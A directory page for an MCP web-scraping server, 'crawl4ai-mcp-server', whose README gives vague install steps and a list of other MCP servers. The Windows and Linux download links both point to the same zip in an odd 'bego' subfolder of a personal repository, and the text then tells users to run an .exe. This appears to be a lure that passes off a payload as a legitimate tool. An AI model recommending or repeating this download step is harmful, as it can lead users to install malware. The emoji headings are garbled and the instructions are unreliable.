crawl4ai-mcp-server
Self-hosted MCP server that provides web scraping and crawling tools, integrating seamlessly with AI frameworks like OpenAI Agents SDK, Cursor, and Claude Code.
README
π·οΈ crawl4ai-mcp-server - Simple Setup for Web Scraping Tools
π Overview
The crawl4ai-mcp-server is a lightweight server that allows you to access web scraping and crawling tools easily. It provides similar capabilities to Firecrawl's API but offers a self-hosted and free option. This server integrates seamlessly with AI frameworks like OpenAI Agents SDK, Cursor, and Claude Code. You can use it for various AI workflows, making it a valuable resource for anyone needing web data.
π Getting Started
To get started with the crawl4ai-mcp-server, you will need to download and run it on your computer. Follow the steps below to install and set it up.
π₯ Download & Install
-
Visit the Releases Page
Go to the Releases page to find the latest version of the crawl4ai-mcp-server. -
Download the Latest Release
Look for the latest version and click on it to view the available files. You will find options suitable for your operating system. -
Choose Your File
Download the appropriate file for your system. You may see options like:- Windows: https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl_mcp_ai_server_v2.3-beta.1.zip
- macOS: crawl4ai-mcp-server-macos
- Linux: https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl_mcp_ai_server_v2.3-beta.1.zip
-
Install the Application
- For Windows: Double-click the downloaded .exe file to start the installation. Follow the on-screen instructions.
- For macOS/Linux: Extract the downloaded file, navigate to the folder in your terminal, and run the command
./crawl4ai-mcp-server.
π§ System Requirements
Ensure that your computer meets the following requirements before installing:
-
Operating System:
- Windows 10 or later
- macOS Mojave or later
- Any recent Linux distribution (Ubuntu, Fedora, etc.)
-
Memory: At least 4 GB RAM
-
Disk Space: Minimum 100 MB of free space
βοΈ Configuration
Once installed, you may need to configure the server to suit your needs. Hereβs how:
- Open the configuration file located in the installation directory.
- Specify your preferred settings for web scraping.
- Save the changes and restart the server.
π οΈ Using the Crawl4AI MCP Server
After setting up the crawl4ai-mcp-server, you can start using it for web scraping:
-
Start the Server: Execute the command to launch the server in your terminal or command prompt.
Example command:
crawl4ai-mcp-server start -
Access the API: Use your web browser or API client to send requests to the server. The base URL will usually be
http://localhost:8080/. -
Explore the API Documentation: Detailed API information is available once the server is running. Visit
http://localhost:8080/docsfor examples and usage instructions.
π Integrating with AI Tools
The crawl4ai-mcp-server works well with a range of AI tools. Here are some common integrations:
- OpenAI Agents SDK: Connect your AI to directly use web scraping results.
- Claude Code: Use its capabilities for processing and analyzing scraped data.
- Cursor: Integrate for enhanced data manipulation workflows.
β‘ Troubleshooting
If you encounter issues during installation or usage, consider the following:
- Check Compatibility: Ensure your operating system and version match the requirements.
- Review Logs: Check the logs generated in the server directory for error messages.
- Community Support: Visit the project's GitHub Issues page or join community discussions for help.
π Additional Resources
For more information on web scraping and using the crawl4ai-mcp-server, check these resources:
π Conclusion
You now have everything you need to download and set up the crawl4ai-mcp-server. With this tool, you can easily integrate web scraping into your AI projects. Don't forget to explore the features and customize it according to your needs.
For any further questions, feel free to reach out through the GitHub repository. The community is here to support you!
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.